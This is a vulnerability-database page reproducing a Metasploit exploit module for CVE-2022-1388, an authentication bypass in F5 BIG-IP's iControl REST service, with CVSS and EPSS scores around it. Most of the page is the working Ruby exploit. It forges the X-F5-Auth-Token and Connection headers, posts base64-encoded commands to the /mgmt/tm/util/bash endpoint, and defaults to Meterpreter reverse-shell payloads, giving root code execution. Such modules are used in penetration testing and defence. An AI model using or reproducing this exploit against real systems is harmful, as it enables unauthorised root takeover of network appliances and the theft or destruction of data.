Lucene search

K
metasploitHeyder Andrade, alt3kx <[email protected]>, James Horseman, Ron BowesMSF:EXPLOIT-LINUX-HTTP-F5_ICONTROL_RCE-
HistoryMay 11, 2022 - 9:43 p.m.

F5 BIG-IP iControl RCE via REST Authentication Bypass

2022-05-1121:43:00
Heyder Andrade, alt3kx <[email protected]>, James Horseman, Ron Bowes
www.rapid7.com
154

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.975 High

EPSS

Percentile

100.0%

This module exploits an authentication bypass vulnerability in the F5 BIG-IP iControl REST service to gain access to the admin account, which is capable of executing commands through the /mgmt/tm/util/bash endpoint. Successful exploitation results in remote code execution as the root user.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'F5 BIG-IP iControl RCE via REST Authentication Bypass',
        'Description' => %q{
          This module exploits an authentication bypass vulnerability
          in the F5 BIG-IP iControl REST service to gain access to the
          admin account, which is capable of executing commands
          through the /mgmt/tm/util/bash endpoint.

          Successful exploitation results in remote code execution
          as the root user.
        },
        'Author' => [
          'Heyder Andrade', # Metasploit module
          'alt3kx <alt3kx[at]protonmail.com>', # PoC
          'James Horseman', # Technical Writeup
          'Ron Bowes' # Documentation of exploitation specifics
        ],
        'References' => [
          ['CVE', '2022-1388'],
          ['URL', 'https://support.f5.com/csp/article/K23605346'],
          ['URL', 'https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/'], # Writeup
          ['URL', 'https://github.com/alt3kx/CVE-2022-1388_PoC'] # PoC
        ],
        'License' => MSF_LICENSE,
        'DisclosureDate' => '2022-05-04', # Vendor advisory
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => true,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper,
              'DefaultOptions' => {
                'CMDSTAGER::FLAVOR' => :bourne,
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 1, # Linux Dropper avoids some timeout issues that Unix Command payloads sometimes encounter.
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true,
          'PrependFork' => true, # Needed to avoid warnings about timeouts and potential failures across attempts.
          'MeterpreterTryToFork' => true # Needed to avoid warnings about timeouts and potential failures across attempts.
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION], # Only one concurrent session
          'SideEffects' => [
            IOC_IN_LOGS, # /var/log/restjavad.0.log (rotated)
            ARTIFACTS_ON_DISK # CmdStager
          ]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to the iControl installation', '/']),
        OptString.new('HttpUsername', [true, 'iControl username', 'admin']),
        OptString.new('HttpPassword', [true, 'iControl password', ''])
      ]
    )
    register_advanced_options([
      OptFloat.new('CmdExecTimeout', [true, 'Command execution timeout', 3.5])
    ])
  end

  def check
    print_status("Checking #{datastore['RHOST']}:#{datastore['RPORT']}")
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, '/mgmt/shared/authn/login'),
      'method' => 'GET'
    })

    return CheckCode::Unknown unless res&.code == 401

    body = res.get_json_document

    return CheckCode::Safe unless body.key?('message') && body['kind'] == ':resterrorresponse'

    signature = Rex::Text.rand_text_alpha(13)
    stub = "echo #{signature}"
    res = send_command(stub)
    return CheckCode::Safe unless res&.code == 200

    body = res.get_json_document

    return CheckCode::Safe unless body['kind'] == 'tm:util:bash:runstate'

    return CheckCode::Vulnerable if body['commandResult'].chomp == signature

    CheckCode::Safe
  end

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end
  end

  def execute_command(cmd, _opts = {})
    vprint_status("Executing command: #{cmd}")

    res = send_command(cmd)
    unless res
      print_warning('Command execution timed out')
      return
    end

    json = res.get_json_document

    unless res.code == 200 && json['kind'] == 'tm:util:bash:runstate'
      fail_with(Failure::PayloadFailed, 'Failed to execute command')
    end

    print_good('Successfully executed command')

    return unless (cmd_result = json['commandResult'])

    vprint_line(cmd_result)
  end

  def send_command(cmd)
    bash_cmd = "eval $(echo #{Rex::Text.encode_base64(cmd)} | base64 -d)"
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/mgmt/tm/util/bash'),
      'ctype' => 'application/json',
      'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']),
      'headers' => {
        'Host' => 'localhost',
        'Connection' => 'keep-alive, X-F5-Auth-Token',
        'X-F5-Auth-Token' => Rex::Text.rand_text_alpha_lower(6)
      },
      'data' => {
        'command' => 'run',
        'utilCmdArgs' => "-c '#{bash_cmd}'"
      }.to_json
    }, datastore['CmdExecTimeout'])
  end
end

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.975 High

EPSS

Percentile

100.0%